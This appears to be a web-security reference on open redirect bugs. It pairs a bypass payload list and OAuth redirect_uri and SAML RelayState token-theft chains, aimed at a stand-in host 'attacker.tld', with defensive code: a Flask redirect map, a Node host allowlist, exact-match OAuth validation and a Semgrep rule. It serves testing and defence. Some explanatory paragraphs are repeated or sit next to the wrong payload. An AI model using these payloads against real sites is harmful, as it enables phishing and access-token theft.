An open redirect lets an attacker control the destination of a server- or client-driven redirect, sending users from a trusted host to attacker.tld. Vulnerabilities sit on parameters like ?next=, ?url=, ?return_to= or in OAuth redirect_uri validation. Impact ranges from phishing and SAML RelayState abuse to full account takeover when chained with implicit-flow OAuth, where a token leaks via the URL fragment.
The high-impact angle is the OAuth chain: a strict redirect_uri allowlist plus a single open redirect on the client app is enough to exfiltrate access tokens. Modern bypasses are parser-differential — gateway decodes once, downstream handler decodes twice — which is why filter-only defenses keep failing and why exact-match redirect_uri plus a server-side mapping are the durable fixes.
Classic sink: a redirect parameter is reflected verbatim into a Location header or a JavaScript navigation call. Hunt for ?url=, ?next=, ?return_to=, ?redirect=, ?continue=, ?dest=, ?target=, ?rurl=, ?go=, ?goto=, ?image_url=, ?back=, ?returnUrl=, and form fields that drive post-login or post-logout navigation.
/login?next=https://attacker.tld
Server emits Location: https://attacker.tld with no validation. Confirms the parameter feeds an unguarded redirect sink.
/login?next=//attacker.tld
Browsers reuse the current scheme so //attacker.tld becomes https://attacker.tld. Defeats validators that only check for http/https string prefixes or assume an http:// is missing.
/login?next=////attacker.tld
Some normalisers collapse repeated slashes after running the validator, leaving the browser to parse the host as attacker.tld.
/login?next=https:///attacker.tld
A handful of URL libraries strip the leading slash after the scheme, mis-parsing the authority component.
When the application has some validation, the bypass is usually a parser disagreement between the validator and the URL the browser actually follows. Test one technique per request and observe divergence between accepted and emitted URLs.
https://trusted.tld@attacker.tld/
Browsers parse trusted.tld as RFC 3986 userinfo and attacker.tld as the real host. Defeats naive startsWith("https://trusted.tld") or contains("trusted.tld") checks.
https://trusted.tld\@attacker.tld
Backend treats backslash as a path character but browsers normalise it to forward slash, so the host the user actually visits is attacker.tld.
java%0d%0ascript%0d%0a:alert(1)
Inserting CRLF inside the scheme defeats keyword denylists looking for the literal string "javascript:" while still being treated as a JavaScript URI by the browser after normalisation.
data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0naHR0cHM6Ly9hdHRhY2tlci50bGQnPC9zY3JpcHQ+
For HTML-rendering redirect sinks (e.g. iframe src, meta refresh) data: URIs run attacker JavaScript inside the parent origin in some browsers.
//google%E3%80%82com
U+3002 (fullwidth full stop) is normalised to "." by the browser host parser, so google.com.attacker-controlled lookalikes pass naive substring checks.
https://trusted.tld%252f@attacker.tld/
Single-decode validator sees trusted.tld%2f@attacker.tld and treats trusted.tld as the host; the browser decodes a second time, turning %2f into /, so attacker.tld becomes the host.
%20//attacker.tld
Browsers strip leading whitespace from URL parsing, so the validator sees a "relative" path while the browser navigates to attacker.tld. Tab (%09) behaves the same way.
/login?next=trusted.tld&next=https://attacker.tld
Validator picks the first occurrence, redirect logic picks the last (or vice versa). Documented bypass on 10/16 IdPs in the 2023 ACM CCS study.
https://trusted.tld%00.attacker.tld
Some legacy parsers truncate at the null byte while the browser does not, splitting the host between validator and runtime.
The highest-impact open-redirect class. The authorization server enforces a redirect_uri allowlist, but the client app contains an open redirect, so the attacker registers a permitted callback that itself bounces to attacker.tld. With response_type=token (implicit) the access token leaks via the URL fragment, which any attacker page can read with document.location.hash.
/authorize?client_id=CLIENT&redirect_uri=https://client.example.com/redirect?url=https://attacker.tld&response_type=token&scope=openid+email&state=STATE
Authorization server validates host (client.example.com is on the allowlist); client app then redirects to attacker.tld with #access_token=... attached, which the attacker page reads from window.location.hash.
/authorize?client_id=CLIENT&redirect_uri=https://client.example.com.attacker.tld/cb&response_type=token
Allowlist substring-matches the host instead of doing exact equality, so client.example.com.attacker.tld matches but resolves to attacker-controlled DNS.
/authorize?client_id=CLIENT&redirect_uri=https://client.example.com/cb/%2e%2e/redirect?url=https://attacker.tld&response_type=token
Allowlist treats /cb as a prefix; encoded ../ traversal lands on a different open-redirect endpoint on the same host. Patched by exact-match validation in OAuth 2.1.
/authorize?client_id=CLIENT&redirect_uri=https://abandoned.example.com/cb&response_type=token
A *.example.com allowlist combined with a dangling subdomain takeover lets the attacker host the callback themselves and capture the token directly.
SAML SPs forward the user to whatever URL is in RelayState after assertion validation. If RelayState is unvalidated, a login link can drop the victim onto attacker.tld immediately after authentication, frequently leaking referer-bound cookies, anti-CSRF tokens, or one-click login URLs the user clicks while still trusting the IdP.
/saml/login?RelayState=https://attacker.tld&SAMLRequest=...
After successful SSO the SP issues 302 to RelayState. Because the value is not bound to a server-side allowlist or relative path, the user lands on attacker.tld with full session context.
Modern (2023-2026) class: validator and downstream handler use different URL parsers (Go net/url vs Python urllib vs Node WHATWG vs the browser). The validator parses one way, the redirect emitter parses another, and the same string maps to different hosts. Documented in Black Hat Asia 2019 ("Make Redirection Evil Again") and the 2023 ACM CCS IdP study.
https://trusted.tld%252f@attacker.tld/
Gateway decodes once and sees trusted.tld as host; downstream handler decodes a second time so %2f becomes / and attacker.tld becomes the host. Defeats "fully secured" allowlists.
https://trusted.tld:80@attacker.tld/
Some libraries treat trusted.tld:80 as host:port while browsers and others parse it as userinfo, so validator and runtime resolve to different hosts.
window.opener.postMessage({redirect: 'https://attacker.tld'}, '*')SPAs that window.open() and then accept a postMessage redirect target give any attacker-origin frame an open-redirect primitive on the parent window.
Gateway URL-decodes once (sees the validator-friendly value), downstream redirect handler URL-decodes a second time, so %252f becomes /. Bypass works against allowlists that look "fully secured" because the validator sees a literal user-info string. Multi-thousand-USD bounty class in 2024.
https://trusted.tld%252f@attacker.tld/
Allowlist treats redirect_uri=https://client.example.com/cb as a prefix; attacker supplies https://client.example.com/cb/../redirect?url=evil. Trailing-slash and percent-encoded ../ (%2e%2e) variations bypass naive matching. RFC 8252 / OAuth 2.1 mandate exact-match for exactly this reason.
https://client.example.com/cb/%2e%2e/redirect?url=https://attacker.tld
Two redirect_uri parameters in the /authorize request: IdP validates the first, client uses the last (or vice versa). 10 of 16 IdPs studied in the 2023 ACM CCS paper were vulnerable; combined with path confusion this becomes account takeover.
/authorize?redirect_uri=https://safe/cb&redirect_uri=https://attacker.tld&response_type=token
Go net/url, Python urllib, Node WHATWG URL and the WHATWG browser parser disagree on userinfo, fragment, and percent-decoding rules. The same input string parses to different hosts in the validator and the redirect emitter, exactly as catalogued at Black Hat Asia 2019.
https://trusted.tld:80@attacker.tld/
Some SPAs window.open() a child and accept a redirect target via postMessage with a wildcard origin. Any attacker-origin frame can then drive the parent through window.opener, turning the popup pattern into a cross-origin redirect.
Highest-assurance pattern: never accept a user-supplied URL. Take an opaque ID or short-name (?dest=settings) and resolve it against a static map server-side. Eliminates the entire bug class because there is no user-controlled string in the Location header.
# Flask example — opaque destination IDs only
from flask import Flask, abort, redirect, request
REDIRECT_MAP = {
"settings": "/account/settings",
"billing": "/account/billing",
"help": "https://help.example.com/",
}
app = Flask(__name__)
@app.route("/go")
def go():
dest = request.args.get("dest", "")
target = REDIRECT_MAP.get(dest)
if not target:
abort(400)
return redirect(target, code=302)
When you must accept a URL, parse it with a known-good parser (URL in Node, urllib in Python) and compare parsed.host against an allowlist using exact equality, not substring or regex. Force scheme to https. Reject userinfo, backslashes, and percent-encoded slashes/backslashes before parsing.
// Node.js — exact-host allowlist + pre-parse rejection
const ALLOWED_HOSTS = new Set(['app.example.com', 'docs.example.com']);
const FORBIDDEN = /[\\@]|%2f|%5c|%00|\u3002/i;
export function safeRedirect(input: string): string | null {
if (FORBIDDEN.test(input)) return null;
let parsed: URL;
try {
parsed = new URL(input, 'https://app.example.com');
} catch {
return null;
}
if (parsed.protocol !== 'https:') return null;
if (parsed.username || parsed.password) return null;
if (!ALLOWED_HOSTS.has(parsed.host)) return null;
return parsed.toString();
}
OAuth 2.1 mandates byte-exact comparison between the registered redirect_uri and the one supplied at /authorize. No wildcards, no prefix matching, no normalisation. Pair with PKCE and short-lived codes; tie state to the user session so a stolen state alone cannot complete a flow.
// Authorization-server side validation
function validateRedirectUri(client: ClientRecord, supplied: string): boolean {
// OAuth 2.1: byte-exact match against the pre-registered list.
return client.registeredRedirectUris.some((registered) => registered === supplied);
}
// Reject implicit flow entirely; require PKCE on the auth code flow.
function isAllowedResponseType(responseType: string): boolean {
return responseType === 'code';
}
Either sign RelayState (HMAC bound to session) or restrict it to relative paths only and reject any value containing scheme or authority. Validate at the SP before issuing the post-assertion redirect.
For unavoidable off-domain redirects (mail, marketing trackers, intentionally-public link shorteners), serve an HTML interstitial that names the destination and requires a click to proceed. Removes the silent-redirect primitive that phishing depends on.
ESLint and Semgrep rules on window.location = userInput, location.assign(userInput), location.replace(userInput), and document.location = userInput catch the client-side variant before it ships.
# Semgrep — flag user-controlled JS navigation
rules:
- id: js-open-redirect-sink
languages: [javascript, typescript]
message: User-controlled value flowing into a navigation sink — open redirect risk
severity: WARNING
pattern-either:
- pattern: window.location = $X
- pattern: location.assign($X)
- pattern: location.replace($X)
- pattern: document.location = $X
| CVE | Year | Title | Description |
|---|---|---|---|
| HackerOne #405100 | 2018 | Stealing OAuth tokens via redirect_uri (chained open redirect) | Canonical disclosure showing a client-side open redirect inside a *.example.com OAuth allowlist. Attacker chained /authorize → registered callback → /redirect?url= sink → attacker.tld; implicit-flow access tokens leaked via document.location.hash. |
| CCS 2023 IdP Study | 2023 | OAuth 2.0 Redirect URI Validation Falls Short, Literally | Academic study of 16 production identity providers: 6 vulnerable to path confusion in redirect_uri validation, 10 to parameter pollution, several to both. Combined attacks demonstrated full account takeover; vendors patched throughout 2023-2024. |
| Voorivex 2024 | 2024 | Bypassing a "fully secured" redirect_uri via double-decoding | Production OAuth implementation defeated by a parser-differential: gateway URL-decoded the redirect_uri once, downstream redirect handler decoded twice. Payload trusted.tld%252f@attacker.tld passed validation and resolved to attacker.tld in the browser. |
| PortSwigger Web Security Academy | 2024 | OAuth account hijacking via redirect_uri | Reference lab (refreshed 2023-2024) where an OAuth client allowlist permits a host that contains a /redirect?url= sink, enabling implicit-flow token theft. Standard textbook exploitation chain used in pentest reports. |